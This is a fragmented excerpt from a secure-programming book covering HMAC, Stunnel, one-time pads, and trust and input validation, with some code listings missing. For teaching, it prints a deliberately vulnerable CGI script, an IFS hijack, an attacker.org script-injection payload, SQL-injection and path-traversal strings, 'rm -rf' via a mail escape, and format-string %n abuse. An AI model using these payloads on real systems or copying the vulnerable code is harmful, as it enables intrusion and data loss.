encrypted string has been modified. Here’s a program that computes a MAC
of a fixed string using the HMAC algorithm, reading the secret MAC key
from /dev/random:
#include <openssl/hmac.h>
#include <stdio.h>
initialize_key(key);
HMAC_Init(&mctx, key, KEYLEN, EVP_sha1());
HMAC_Update(&mctx, msg, strlen(msg));
HMAC_Final(&mctx, result, &mdlen);
More Uses for Cryptographic Hashes 295
This interface for HMAC is quite straightforward. It works exactly like the
EVP Digest interface, except that the initializer gets passed a different type
of context, a key, and the length of that key. Note that an attacker cannot
forge this MAC without having access to the secret MAC key.
collision, even though a Pentium III-866 would only be able to send out ten
messages a minute, and less-powerful machines may be able to send out
even less.
4. Although we don’t discuss it, SSL allows for client authentication. However, this is seldom
used in the real world because of the difficulties of managing the certificate infrastructure.
298 Chapter 11 Applying Cryptography
5. Covering the OpenSSL API for SSL connections is too lengthy a topic for us to take on
here, especially considering that other APIs have many significant differences.
Stunnel 299
In the final analysis, SSL tends to give developers and organizations a false
sense of security. Each of the issues mentioned earlier are significant, and are
often not easily solved. For example, attacks like dsniff’s man-in-the-middle
attack (see Appendix A) probably work against 98% of all SSL connections
made, if not more. You need to be super careful with your implementation.
Stunnel
Stunnel (a link is available on our Web site) is a free SSL tunneling package
that requires OpenSSL. Once we have installed Stunnel, using it to protect a
300 Chapter 11 Applying Cryptography
The last two options are not strictly necessary. The client connects regardless.
However, if we leave off these options, the client does not perform sufficient
validation on the server certificate, leaving the client open to a man-in-the-
middle attack. The v argument specifies the level of validation. The default
is 0, which is okay for a server that has other means of authenticating
clients. However, levels 1 and 2 are little better. Level 1 optionally checks to
see whether a server certificate is valid. Level 2 requires a valid server certifi-
cate but does not check to see whether the certificate has been signed by a
trusted authority, such as Verisign.
The A argument specifies a file that must contain a list of trusted certifi-
cates. For a server certificate to be accepted, it must either be in the file spec-
ified by the A argument, or a certificate used to sign the presented certificate
must be in the specified file.
The problem with this approach, as we’ve previously mentioned, comes
when you use a large CA. For example, it is good to ensure that a particular
certificate is signed by Verisign. However, how do you ensure that the certifi-
cate is from the site to which you wish to connect? Unfortunately, as of this
writing, Stunnel doesn’t allow the calling program access to the validated
certificate information. Therefore, you are limited to four options:
This book’s companion Web site provides links to current certificates from
prominent CAs. It also links to resources on how to run your own CA.
One-Time Pads
Cryptography is sometimes far more an art than a science. For example,
how secure is AES? Because its keys are at least 128 bits, we can throw
around the number 2128. In reality, no one knows how secure AES is, because
it is incredibly difficult to prove security guarantees for algorithms. Basically,
the problem is that it is hard to prove that there are no potential attacks that
could be launched on an algorithm. It’s difficult enough considering that
new cryptographic attacks are still being discovered today. It is even more
difficult considering that we’d like to prove that a cipher can withstand any
future attacks as well, including ones that will not be discovered for centuries.
In practice, ciphers that are in popular use and that are believed to be
secure may or may not be. They’re believed to be secure because no one has
broken them yet, not because they’re known to be secure. That’s why cryptog-
raphers are more likely to recommend ciphers that have been extensively
scrutinized, as opposed to newer or proprietary cryptographic algorithms.
The hope is that if a whole lot of smart minds couldn’t break it, then it’s
more likely to be secure. The more minds on a problem, the more likely we
are to trust the algorithm. We end up talking about the “best-case” security
properties of an algorithm. With symmetric key ciphers, the best case is gen-
erally related to the size of the key space, unless there’s known to be a better
attack than trying every possible key until one unlocks the data. Therefore,
all symmetric key algorithms can be broken given enough time (although we
hope that no one ever has that much time).
Public key algorithms are actually a bit easier on the mathematician in
terms of being able to prove their security properties, because they tend to
be based on well-defined mathematical problems. By contrast, symmetric
algorithms tend to be an ad hoc collection of substitutions and permutations
that are much more difficult to analyze in context. For example, assuming a
perfect implementation, it’s known that the difficulty of breaking the RSA
algorithm is strongly tied to the difficulty of being able to factor very large
numbers. Mathematicians believe that factoring large numbers cannot be
computed in reasonable time. Unfortunately, to date, no one has been able
to prove the level of difficulty of factorization.
302 Chapter 11 Applying Cryptography
4f 6e 65 20 74 69 6d 65 20 70 61 64 73 20 61 72 65 20 63 6f 6f 6c 2e
9d 90 93 e7 4f f7 31 d8 2d 0d 22 71 b6 78 12 9d 60 74 68 46 6c c0 07
d2 fe f6 c7 3b 9e 5c bd 0d 7d 43 15 c5 58 73 ef 05 54 0b 29 03 ac 29
Because every single bit in our plaintext is encoded by a single unique bit
in the key, there is no duplicate information that a cryptographer could use
in an attack. Because the key was randomly chosen, it is just as likely to be
the previous stream as it is to be
86 96 93 e7 49 f7 33 c9 2d 1f 26 72 ac 36 00 cf 64 20 2b 46 6d c9 07
which would decrypt to “The riot begins at one.” Because of the one-to-one
correspondence of bits, the cryptanalyst just can’t gain any information that
would point to any one decryption as more likely.
The following C code can be used to encrypt and decrypt using a one-
time pad. The plaintext is modified in place, and thus must be writable:
One-time pads sound so good that you may be surprised to find out that
they’re only rarely encountered in the field. There are several reasons why
this is the case.
First, it’s difficult to distribute keys securely, especially when they have
to be as long as a message. For example, if you want to send 12 gigabytes of
data to a friend over an untrusted medium, you would need to have a key
that is 12 gigabytes long.
Second, and more important, the cipher requires numbers that absolutely
cannot be guessed. Unfortunately, rand() and its ilk are completely out of
the question, because they’re utterly predictable. It’s not easy to generate
that much randomness, especially at high bandwidths. For example, if you
need 12 gigabytes of random data, it takes an incredibly long time to get it
from /dev/random. A hardware source of randomness is far more practical.
You might ask, why not use /dev/urandom, because it spits out numbers
as fast as it can? The problem is that it generates numbers quickly using a
cryptographic mechanism. You’re effectively reducing the strength of the
encryption from unbreakable to something that is probably no more diffi-
cult to break than the best symmetric key algorithm available.
This problem has always plagued one-time pads. Using the text of War
and Peace as a pad is a bad idea. Because the key isn’t random, the ciphertext
won’t be random. One technique used was the same one favored by lotteries
to this day. Numbered balls were put into a chamber, and air blew the balls
around. An operator would use this chamber to create two identical pads.
For the first character on the pad, the operator would reach into the chamber
without looking and extract one ball. The number on that ball was recorded
on both pads, then the ball was returned to the chamber. Then, the process
was repeated.
Even techniques like that weren’t very practical in the real world. The
difficulty of generating and distributing pads was a major reason why there
were hundreds of less secure cryptographic codes used during World War II.
One-time pads have a gaggle of additional problems when used in the
field. First, the pad must be synchronized between two communicating
304 Chapter 11 Applying Cryptography
parties to avoid race conditions. Consider when Alice would send a message
to Bob at about the same time Bob sent a message to Alice. They may both
use the same key for encryption. If each party followed the algorithm pre-
cisely, then neither would have the right pad available to decrypt the message.
Worse, encrypting two messages with the same key compromises the
security of the algorithm. If someone were to guess that two messages were
encrypted using the same pad, that person may be able to recover both of
the original messages. The risk is very real. Many years ago, Soviet spies
were known to reuse pads, and motivated cryptographers did notice, break-
ing messages that the communicating parties probably believed were per-
fectly secret.
To solve the problem, it would make sense to give Alice and Bob two
one-time pads. One set of pads would be for messages from Alice to Bob,
and the other for messages from Bob to Alice. Now, as long as pads were
not reused, and as long as pads were destroyed after use so that no one
could compromise used pads, everything would be secure.
There is still another problem, one of data integrity. Let’s say that Alice
sent a message to Bob at 10:00 AM, then a message at 1:00 PM, and finally a
message at 5:00 PM. If the 10:00 AM message never arrived because the mes-
senger was shot, it would be very difficult for Bob to decrypt the later mes-
sages. It wouldn’t be impossible, but it would be a major inconvenience,
because Bob would have to guess where in the pad to start when trying to
decode the 1:00 PM message. One way to solve the problem would be to
number the messages and to use only one pad per message. Another solution
would be to have one pad per day; then, only one day of communications
could be disturbed at a time.
The lessons learned by World War II cryptographers are quite valuable
to developers today. The most important lesson is that one-time pads aren’t
very convenient. In practice, it is usually worth the risk to trade perfect
secrecy for usability.
They’re also easy to get wrong. Remember that the pads must be used
once and only once, thus the “one time” in the name. Plus, the data must be
absolutely unpredictable.
In practice, most people aren’t willing to exchange huge keys in a secure
manner. It would also be horrible to have missing data somewhere in a large
data stream. If the stream could be missing anywhere from 1 byte to 1 giga-
byte, resynchronization won’t be all that feasible. However, if after all the
caveats, one-time pads still sound like a good idea to you, we recommend
the following strategy:
Conclusion 305
Conclusion
In this chapter we’ve given you a flavor for what it takes to apply cryptogra-
phy in the real world. Currently, SSL is the most important technology for
on-line security, and it comes with a host of problems. At its heart, SSL is
geared toward a large, distributed population of users. There are other cryp-
tographic libraries that, although less frequently used, may better meet your
needs. In particular, Kerberos is a fairly popular technology for providing
strong authentication for small- to medium-size organizations. Kerberos has
the advantages that it has free implementations and relies completely on
symmetric cryptography (this can be good, but the management hassle
increases dramatically as the number of users goes up). In the past, it was
infrequently used. However, Windows 2000 makes extensive use of it.
Kerberos is large enough that we do not cover it here. For a nice, concise
overview of Kerberos, see Kerberos: A Network Authentication System by
Brian Tung [Tung, 1999].
This page intentionally left blank
Trust Management
and Input Validation
12
307
308 Chapter 12 Trust Management and Input Validation
This illustrates the fact that most assumptions that extend trust, explicitly
or implicitly, often turn out to be poor assumptions.
In this chapter we start with a few words on trust. We then look at sev-
eral common examples in which security vulnerabilities boil down to bad
assumptions about trust. Usually, trust problems manifest when taking input
of any sort. This is mostly because it is often possible to craft malicious
input to have deleterious side effects. Often, programmers are not really
aware of a potential problem. In this chapter we discuss a number of differ-
ent examples of this problem, in the hopes that you’ll be able to recognize
similar software risks in new situations.
Often, designers make trust decisions without realizing that trust is actu-
ally an issue. For example, it is common for a client application to establish
an encrypted session with an application server using a hard-coded symmetric
cryptographic key embedded in the client binary. In such a situation, many
developers fail to realize that they are implicitly trusting users (and potential
attackers) not to reverse engineer the software (or, more realistically, to
search for the key by other means).
When the implementation phase begins, developers may make similarly
blind assumptions about the validity of input to or the environment of
deployed code. For example, programmers sometimes assume that the inputs
to their program have certain formats and lengths. Unfortunately, however,
when these assumptions are not satisfied, an attacker may be able to mount
an attack such as a buffer overflow (see Chapter 7).
Many software developers either misunderstand trust or completely
ignore trust issues. Too often developers only look at trust in the small scope
of the component they are writing, not in the system as a whole. For example,
companies may assume that because a critical component “uses cryptog-
raphy,” the component is inherently secure. These companies ignore the fact
that although a given component may be secure by itself, the component
may have implicit trust relationships with other, potentially subvertable,
components.
Ultimately, if developers overestimate or misjudge the trustworthiness
of other components in the system, the deployment environment, or peer
organizations, then the underlying security architecture may be inadequate.
Unfortunately, it’s rather easy to misjudge the trustworthiness of compo-
nents. Consider a classic example, from Ken Thompson’s 1984 lecture given
on accepting the Turing Award [Thompson, 1984]. It’s possible to construct
a compiler with a Trojan horse in it, in which the Trojan horse would exist
and persist, even though the Trojan horse isn’t visible in the source code, . . .
and even if you compile the compiler from the source code.
How is that possible? A Trojan horse was inserted into the compiler’s
source code. The Trojan horse could put backdoors in programs that people
compile. This one was discerning: It only stuck a backdoor in two different
programs. The first was login. If you compiled the login program for any
reason (for example, if you had made a change to it), the compiler would
automatically insert a backdoor to it. The second was the compiler itself. If
you compiled the compiler, the backdoor would replicate, even when there
was no Trojan horse in the source code. Now, remove the Trojan horse from
310 Chapter 12 Trust Management and Input Validation
the source code, and you’re left with a problem people are likely never to
find. Sure, if you scrutinized the entire binary of the compiler you may find
it, but who’s likely to do that?
This example shows how dangerous trust assumptions are. Yes, it’s
convenient to assume that the many people releasing software have your
best interests in mind. But that’s not really a safe bet. There have been many
incidents when commercial vendors left backdoors in software so they could
administer it remotely should the need arise. Any time you download binaries
without the source, or any time you download the source, and fail to scru-
tinize it totally, you’re at risk. For example, if you download an RPM for
your favorite program, you’re taking a risk. Think about the possibilities.
The person releasing the RPM could have added a backdoor that isn’t
visible in the source. The person who wrote the program may have left a
Trojan horse that made it through whatever source code inspection the code
underwent (remember how a complex buffer overflow can make for a very
subtle Trojan horse). Plus, an attacker could have compromised the server
and replaced the RPM with a malicious version, or replaced the source
release with a malicious version.
For the same reason, storing MD5 hashes for packages in the same
directory as the code itself doesn’t do much good. If an attacker breaks into
your site and can change your release, what’s to stop the attacker from chang-
ing the MD5 hash? And how many people actually check them anyway? If
you send out an MD5 hash in your e-mail announcements (assuming the
attacker doesn’t intercept those as well), then if some people check against the
e-mail, hopefully a Trojan horse won’t sit unnoticed for too long. But you
never know. PGP signatures are slightly better. If you rarely use your private
key, then perhaps an attacker will not be able to forge your signature (because
your private key remains encrypted based on your pass phrase). Nonethe-
less, there is likely to be a significant window during which a malicious
version propagates before someone bothers to check the signature.1
Needless to say, any trust you give to software that you yourself did
not write constitutes a leap of faith. It’s okay to hope that your compiler
does not contain a Trojan horse. If you examine someone’s source and
compile it yourself, that’s worthwhile. Otherwise, be wary.
1. You may think to add a signature check to your configure script, but an attacker could
replace the check with something that pretends to perform it.
Examples of Misplaced Trust 311
Trust Is Transitive
In the early 1990s, one of us (Viega) got a UNIX account on a system that
was only supposed to be used for e-mail and a few other functions. The
entire system was menu driven. The user could log in through TELNET, and
was immediately dropped into the menu system. When it came time to read
e-mail, the menu system invoked a widely used UNIX mail program. When
editing a message, the mail program would invoke the vi editor. With the
vi editor, you could run arbitrary shell commands. Once you had access to
run arbitrary shell commands, it was easy to disable the menu system.
There was nothing wrong with the menu system itself, except that it
trusted the mailer, which trusted the editor. And in each of these cases, the
program being invoked ran with the privileges of the user. This is the default
when invoking a program: Quite a bit gets inherited, from open files to envi-
ronments to EUIDs. Before invoking a program, you need to decide what
things the called program should be able to access, and remove anything
that should be forbidden. If the called program should not have access to
any privileges at all, then you’d probably like it to run with “nobody” per-
missions. If you have access to the source of the called program, then that is
easy to do. Make the owner “nobody,” make the program setuid and setgid,
and have the program set the UID and GID to “nobody,” immediately on
entry. Otherwise, you should call a setuid wrapper program.
The following is a sample wrapper that only runs as “nobody.”2 It
passes on any arguments it gets to the called program. You should probably
only call this wrapper using execve (for reasons we discuss shortly). When
calling execve, you should pass the name of the wrapper as the first argu-
ment, but use the name of the program you wish to call as the first element
of argv:
p = getpwnam(name);
if(!p) {
return –1;
}
return p->pw_uid;
}
}
if(argc == 0 || argv[0] == 0) {
fprintf(stderr, "Error; no program to call.\n");
return 8;
}
execve(argv[0], argv, environ);
return 9; /* If execve fails. */
}
The problem with this solution for the menu example is that we’d have to
give “nobody” permission to read and write people’s mailboxes. This may
not be an unacceptable solution. We could also set up a group just for
mailbox manipulation. If these solutions are unacceptable, though, then we
probably have to resort either to writing our own mailer or to trusting
someone else’s. Neither solution is overly appealing.
Another thing that gets inherited is file descriptors. It is true that stdin,
stdout, and stderr are reserved file descriptors 0, 1, and 2 on most systems.
It’s true that most operating systems start issuing new file descriptors at 3,
and always increase them by 1. However, there’s no guarantee that the first
file your program opens will get the file descriptor 3. This file descriptor
could still be open from the calling program. Imagine what would happen
if you think you’re reading from and writing to a particular file that you
opened securely (using techniques from Chapter 8) but really you’re using
an attacker’s file.
Another thing you may want to do at program start is make sure that
there are enough free file descriptors to do what you want to do. This can be
done as follows:
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
okay:
/* We have enough fds. */
...
return 0;
}
Many things that a parent process can leave behind should always be
explicitly cleaned up as a matter of course. One of the most important is
the umask, used for determining permissions on newly created files and
directories. You should always reset this to an appropriate value (such as
066 or 044; see Chapter 8). You should also reset any signals to their default
values, unless you have other plans for them. The following code should do
the trick:
316 Chapter 12 Trust Management and Input Validation
#include <signal.h>
The macro _NSIG gives the maximum signal number plus one on some
platforms. If it’s not available, it is probably safe to use the constant 128.
(We were unable to find a system that supported more than 64 signals.)
You may also want to reset resource limits that could lead to denial-of-
service attacks using the getrlimit and setrlimit calls. In general, you
shouldn’t put yourself in a situation in which an untrusted process starts a
process that needs to be available. If this problem might affect you, make
sure you react well when the parent process sets one of the interval timers
(see manpages for getitimer(2) and setitimer(2)).
Nonetheless, if your program ever holds sensitive data like unencrypted
passwords, then you should be sure to at least use this call to forbid core dumps.
The way you should use these functions is to call getrlimit to get current
values, change those values, then call setrlimit to set the new values:
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
getrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_max = rlim.rlim_cur = 0;
if(setrlimit(RLIMIT_CORE, &rlim)) {
exit(-1);
}
...
return 0;
}
One type of input that can cause nasty problems is input passed in
through environment variables. Programmers often assume that environ-
ment variables passed to a program have sane values. If an attacker calls
Examples of Misplaced Trust 317
your program, those values may not be sane at all. You should always
assume any environment variables that you require are potentially malicious,
and treat them with suspicion. As we see later, we risk leaving ourselves
vulnerable to environment variable attacks just by leaving around variables
that we don’t understand. If we use no environment variables at all, then we
could get rid of all environment variables:
There are other variables that have traditionally been abused this way.
LD_PRELOAD is another one. These are specific to the linking infrastructure of
the operating system. Any application or library that you use can misuse an
environment variable. Unless you know that the library performs sufficient
sanity checking of environment variables, you should either perform such
sanity checking yourself (which, by the way, turns out to be hard, as dis-
cussed later), set the environment variable to a value known to be safe, or
remove the environment variable completely. For example, if we decide that
we really must call popen(),4 we should set PATH to an appropriate value
(something simple like /bin:/usr/bin). Avoid "." in the path, especially
at the front, because an attacker could stick replacement commands there!
We should also set IFS to \t\n to make sure that arguments to commands
are read properly. The IFS variable is a list of characters that the shell treats
as white space. It is used to separate a command line into arguments. We
discuss attacks using this variable in the next section.
On some machines, we may also need to set the time zone with the TZ
variable. How this is done varies significantly from language to language. In
Python, for example, it’s quite easy:
import os
os.environ = {'PATH': '/bin:/usr/bin', 'IFS':' \t\n'}
4. There are other reasons not to use popen() that we haven’t yet discussed.
Examples of Misplaced Trust 319
i = -1;
while(environ[++i] != 0); /* Start at the back. */
while(i—) {
environ[i] = 0;
}
}
while(default_environment[i]) {
putenv(default_environment[i++]);
}
}
system("ls");
then if you allow the attacker to set the PATH variable arbitrarily, the attack-
ers can set it to ".", and then substitute a bogus ls command that runs as a
different user.
320 Chapter 12 Trust Management and Input Validation
$ cp evil_binary l
$ export IFS="s"
then run the program. Now, when the command ls runs, the shell will think
the letter s is white space. The shell then looks for a program named “l.” It
will probably only be found in the current directory. This problem occurs
even if you reset IFS if some binary is in an unexpected place on some archi-
tecture (for example, you may expect to find a particular program in /bin
or /usr/bin, but on some machines it may live only in /opt).
As Matt Bishop points out, you should not fix the IFS problem in the
call to system() itself. For example, the following won’t work:
This causes your system call to set the variable FS to \n\t, and the variable
ATH to a reasonable value for PATH. These two variables are exported, and
the attacker still gets to run a malicious version of ls.
Even if you leave out the dot and reset IFS, all in the native program-
ming language, there can still be problems whenever user input may modify
the command being run. For example, consider the following CGI script:
#!/usr/local/bin/python
import cgi, os
print "Content-type: text/html"; print
form = cgi.FieldStorage()
message = form["contents"].value
recipient = form["to"].value
tmpfile = open("/tmp/cgi-mail", "w")
tmpfile.write(message)
tmpfile.close()
os.system("/bin/mail " + recipient + " < /tmp/cgi-mail")
os.unlink("/tmp/cgi-mail")
print "<html><h3>Message sent.</h3></html>"
Examples of Misplaced Trust 321
At first glance, this CGI script just takes a message and mails it to a
recipient. The message and recipient are both read from a form submission.
The mail is sent using system(). But what if the attacker sends the string
On many machines, this gives the attacker an xterm (the # “comments out”
the rest of the line—namely, the < /tmp/cgi-mail that is appended). On
other machines, there are plenty of other commands that can also do
arbitrary damage.
Let’s take a different example that may seem more innocuous. Let’s say
we’re writing a CGI in Perl that takes a valid username on that system, and
writes out the contents of /var/stats/username. We’d like to read these
files by using system() to "cat" the file. Perl has a system() call that
behaves much like C. However, the Perl system() call has some nice
extensions. We can use the multiargument version, which acts more like
execve(). The first parameter is treated as a command, and the remaining
parameters are arguments to the command. We may think we’re safe if we
write the following code:
system("cat", "/var/stats/$username");
This, of course, assumes we’ve already read the form data into $username.
Unfortunately, this strategy isn’t secure either. The attacker can submit a
username of
../../etc/passwd
and our code would happily display the contents of that file.
Many other things can go wrong, depending on the program. For example,
some applications interpret special character sequences as requests for exe-
cuting a shell command. One common problem is that some versions of the
Berkeley “mail” utility execute a shell command when they see the ~! escape
sequence in particular contexts. Thus, user input containing ~!rm -rf * on a
blank line in a message body may cause trouble under certain circumstances.
You can check for common characters that should never be in a user’s
input, but know that many lists of this sort are incomplete. It’s far better to
disallow all input religiously, except for explicitly trusted characters. For
example, if a user is supposed to be entering an e-mail address, you could
322 Chapter 12 Trust Management and Input Validation
check to make sure every character is a letter, a number, a period, the “at”
sign, or an underscore. There are other legacy characters that are valid in
e-mail addresses, but it’s usually fine not to support them. E-mail addresses
are easy to acquire. If you do need to support them, see RFC 822 [RFC 822].
The strategy of only accepting valid characters, as opposed to rejecting
invalid ones, is called white listing. It’s definitely the way to go if you’re
going to use system(). Be sure to avoid anything that may possibly be a
special character for the shell. If you must accept it, make sure you always
quote it before passing it on to the shell.
Instead of system(), stick with execve(). Similarly, you should avoid
anything that invokes a shell at all, including popen() and backticks in
many languages (including Perl, Python, and most shells). Also, be wary of
functions that may be implemented using a shell, even if their primary goal
is not to spawn an arbitrary command. For example, Perl’s open() function
can run commands, and usually does so through a shell. We discuss the vari-
ous semantics of this call later. In C, you should also avoid execlp and
execvp, which may not call the shell, but nonetheless exhibit shell-like
semantics that are risky.
If you need an easier interface along the lines of system and popen, there
are links to more secure alternatives on this book’s companion Web site.
<form action=http://www.list.org/viega-cgi/send-mail.py
method=post>
<h3>Edit Message:</h3>
<textarea name=contents cols=80 rows=10>
</textarea> <br>
<input type=hidden name=to [email protected]>
<input type=submit value=Submit>
</form>
This form has two fields: one that causes the submission and one that
gets input as parameters to the CGI script. The one that gets input consists
Examples of Misplaced Trust 323
of a static e-mail address, and isn’t displayed on the Web page itself, and is
thus called a hidden input field. The end user view of the Web page is shown
in Figure 12–1.
The problem with combining this Web page with the previous CGI
script is that anyone can copy this Web page to their own server and change
the value field. A common way to counter this problem is to check the
referring page in the CGI script. However, the attacker can just construct
a valid-looking referrer, and send bogus form data directly to the server
instead of using a Web browser. Obviously, so-called “hidden” fields aren’t.
Attackers can read Hypertext Markup Language (HTML). Don’t rely on
them to keep secrets.
Another thing Web developers like to do is to use JavaScript in a Web
page to do form validation. Remember that an attacker can completely
ignore your JavaScript and just send back raw form data. Client-side
Javascript is nice as a usability measure, but don’t use it for security!
Also, don’t use “magic” fields in the URL for anything important.
(Magic fields are parameters that can be used by a CGI script that don’t
show up on a Web page. A person “in the know” would stick magic
parameters in the URL to perform special functions.) We often see this
Figure 12–1 The user input screen for the CGI example.
324 Chapter 12 Trust Management and Input Validation
kind of field used for administration. These kinds of secrets are easily
leaked. People who know will tell. There will be over-the-shoulder attacks.
There are sniffing-based attacks. Regular old password-based authentica-
tion is better than authentication based on knowing some magic parameter.
A common tool in the Web programmer’s tool kit is the cookie. Devel-
opers store all sorts of important information in the cookie, such as authen-
tication information, session identifiers, and so on. Developers assume that
cookies return unmodified the next time that user hits the site. In reality, it’s
easy to change data in cookies, and there’s often a malicious reason to do so.
Persistent cookies (ones that last longer than a single Web session) are easy to
attack. They’re stored on a user’s hard drive for everyone to read. Temporary
cookies generally only live in memory. They’re harder to attack if the attacker
sticks with using an off-the-shelf Web browser. This isn’t the way an attacker
is going to change temporary cookies though. The attacker will just write a
small program that pretends to browse and captures cookies. After mali-
ciously modifying the cookie, the attacker sends the tampered version back via
a small program, and examines the results by hand. Some attackers have
modified open-source browsers to store temporary cookies in a location that
makes them easily accessible, just to make this task even easier.
When it comes to cookies, you should encrypt data that you don’t
want people to see, and “MAC” data that people may be able to see, but
shouldn’t be able to change. This requires some special encoding to work
with the HTTP protocol. We provide code for doing this in Chapter 11.
You should be wary of letting users supply their own code in your applica-
tions. For example, if you write an on-line bulletin board system, you’ll surely
need to filter out <script> tags and anything else that may cause arbitrary,
potentially malicious code to run on the end user’s machine. Of course, the best
way to handle this is to limit valid tags explicitly to a small set.
You should also be wary of people trying to sneak encoded URLs past
your checks. Filtering out angle brackets doesn’t always work, because many
character sets provide alternate encodings for > and <. Some browsers accept
these alternate encodings, but most people do not filter them out. CERT
wisely suggests that you should explicitly specify the character set on all out-
going documents, and make sure you know what the valid encodings are for
all special characters for that character set. To get the standard character set
most non-Eastern developers expect to use, add the following tag to the
beginning of your dynamically generated documents:
You should be wary of any input from the Web with a percent sign in it.
Usually, this is special hexadecimal encoding for characters. For example,
%3C is a representation of <. Potential attackers can send you encoded nulls
(%00), newlines (%0A), and anything else their malicious hearts desire. You
may not decode the data, but you can bet that if you just pass it through to
the Web server to give to a client, it will get decoded. Therefore, it’s in your
best interest to decode such data and filter out anything that’s invalid.
A similar problem you should be aware of is called cross-site scripting.
The insight behind this attack is the revelation that people may accidentally
feed themselves bad data that becomes hostile after your CGI script is done
with it. Data to a CGI program that a user submits could come from a
link the user clicked on in an untrusted Web page, a newsgroup posting, or
an e-mail message. The burden is on you to make sure the user doesn’t
accidentally feed himself malicious data, because it’s coming through your
script! For example, your CGI script may take a person’s real name as a
parameter so that you can say “Hi, Person!” If an attacker links to your
CGI script, and supplies a name of <script>http://attacker.org/
malicious.scr</script>, do you just parrot that back? You probably
shouldn’t.
One thing you can do if you want to echo text, but aren’t sure if it may
be dangerous, is to encode it for printing only. You can represent characters
using &# followed by the numeric representation of the character in the char-
acter set, followed by a semicolon. For example, in the ISO-8859-1 (Latin)
character set, you can ensure a literal < is printed by outputting <. For
many characters, there are symbolic representations. For example, <
yields the same result. This book’s companion Web site has a table showing
the possible encodings for the ISO- 8859-1 character set.
Client-side Security
Trust problems aren’t just Web problems. They exist every time you inter-
act with software run by untrusted users, even if you wrote the software. Re-
member, a skilled attacker can modify your binary, or replace it completely,
even if you couldn’t do the same thing yourself.
For example, one thing some developers do is embed Structured Query
Language (SQL) code in the client, and have the client send these SQL
commands directly to a database. Alternately, some developers may send the
SQL to an intermediate server-side application that just passes the SQL code
on to the database. The problem here is that a clever attacker can change the
SQL code arbitrarily. For example, the attacker could replace a select state-
ment with DELETE from TABLE;, which would probably be devastating to
326 Chapter 12 Trust Management and Input Validation
your users. This is shown in Figure 12–2. Under Windows you can often do
even more damaging things. ODBC (Open Database Connectivity) treats
'|' as an expression evaluation escape so you can do nasty things like
This has been fixed in newer versions, but there are still plenty of unpatched
Windows systems in which you can do this.
Therefore, you should always assemble SQL code on the server, not on
the client. This goes double for anything that should remain secret as well.
Keep it on the server, if at all possible. Although the server may not be
completely trusted, it should almost always be more trusted than a client.
There are cases when you cannot accomplish your goals unless secrets
are stored in untrusted code. We discuss how to deal with such situations in
Chapter 15. The unfortunate answer involves a never-ending arms race.
The server should also be absolutely sure to validate input from the
client that must go into a database. Keep in mind that if you want to allow
arbitrary strings into a database, you need to quote most characters explic-
itly. Many applications die when a user sticks a single quote into a Web
form! What if they follow it with ;DELETE from TABLE as shown in
Figure 12–3?
Here’s a good example of a problem we’ve seen multiple times in real
applications. A database is indexed by a SHA-1 hash of some file (say an
MP3). Usually, the hash is base64 encoded, so that it can easily fit in a
SQL query (base64 encoding has no special characters that would mess
up a database). To operate on that file, the client sends the encoded hash,
along with a request. The hash is placed directly into a SQL statement on
the server. Because there’s no check, the attacker can resend ;DELETE
FROM TABLE;.
SQL Server
Replaced with:
Attacker delete from employees
Figure 12–2 An attacker can often replace embedded SQL calls in a client arbitrarily.
Examples of Misplaced Trust 327
Client
Intended data: 457
SQL Server
Runs:
"select * from employees
where id =" + data
Data sent: 457; delete
Attacker from employees
Figure 12–3 By appending a semicolon and another command to a SQL call, an attacker
can cause problems.
Perl Problems
The open() function in Perl is used to open files. In its most common form,
it is used in the following way:
We’ll then add code to read from the file and display it. In most
languages, this would be pretty innocuous, barring any race conditions.
However, in Perl, there are a lot of ways to make open perform magic.
Here’s a quote from the Perl documentation:
If the filename begins with "|", the filename is interpreted as a command to
which output is to be piped, and if the filename ends with a "|", the
filename is interpreted as a command which pipes output to us.
The user can thus run any command under the /usr/stats directory,
just by postfixing '|'. Backward directory traversal can allow the user to
execute any program on the system!
One way to work around this problem is always to specify explicitly
that you want the file open for input by prefixing it with <:
Unfortunately, this still goes through the shell. However, we can use an
alternate form of the open() call that avoids spawning a shell:
When we open a pipe to "-", either for reading ("-|") or for writing
("|-"), Perl forks the current process and returns the process identifier
(PID) of the child process to the parent and returns 0 to the child. The or
statement is used to decide whether we are in the parent or child process.
If we’re in the parent process (the return value of open() is nonzero),
we continue with the print() statement. Otherwise, we’re the child, so
we execute the txt2html program, using the safe version of exec() with
more than one argument to avoid passing anything through the shell.
Examples of Misplaced Trust 329
What happens is that the child process prints the output that txt2html
produces to stdout, and then dies quietly (remember exec() never returns),
while in the meantime the parent process reads the results from stdin.
The very same technique can be used for piping output to an external
program:
When the user passes username=viega from the form, the script shows
viega.html. There is still the possibility of attack here. Unlike C and C++,
Perl does not use a null byte to terminate strings. Thus the string viega\0hi!
is interpreted as just viega in most C library calls, but retains its full value
in Perl. The problem arises when Perl passes a string containing a null value
to something that has been written in C. The UNIX kernel and most UNIX
shells are pure C. Perl itself is written primarily in C. What happens when
the user calls our script, as such statscript.pl?username=../../etc/
password%00? Our script passes the string ../../etc/password%00.
html to the corresponding system call to open it, but because the system
calls are coded in C and expect null-terminated strings, they ignore the
.html part. The results? The script reads the password file, if the attacker
guessed right. If not, it won’t take too long to find it. This sort of problem
has the potential to affect other high-level languages that call out to C for
major pieces of functionality.
strings to their output statements (fprintf and family); for example, when
the programmer should have written
Programmers often omit the format string for whatever reason (usually
out of laziness), and write
There seems to be little harm in this. If the user adds a %s or %d, or some-
thing similar to his username, then he may crash the program, because the
program tries to read in garbage data from the stack. One may expect that,
at worst, the attacker is able to read some sensitive data off the stack. How-
ever, it turns out that the printf family of functions can be used to write
data as well. The %n format specifier outputs the number of characters that
have been output up to and including the position where %n occurs in the
format string. For example, consider the following code:
This prints foobar on one line and the number 6 on the next line. There
are technically seven characters output on the first line, including the new-
line. However, %n occurs before the newline, so that character isn’t included
in the count.
Obviously, we can write integers onto the stack by crafting a format
string that contains the integer number of characters identical to the value
we wish to write. If there are any important stack-allocated variables, they
can be overwritten. In many cases it is possible to leverage this functionality
to write any value indirectly to any memory address that doesn’t contain a
null byte in it.
In short, it’s always a bad idea to allow untrusted input to have any
input at all to a format string. It’s not even worth checking for % and “escap-
ing” it.
There are many similar problems out there. Be on guard!
Automatically Detecting Input Problems 331
#!/usr/bin/perl -T
$username = <STDIN>;
chop $username;
system ("cat /usr/stats/$username");
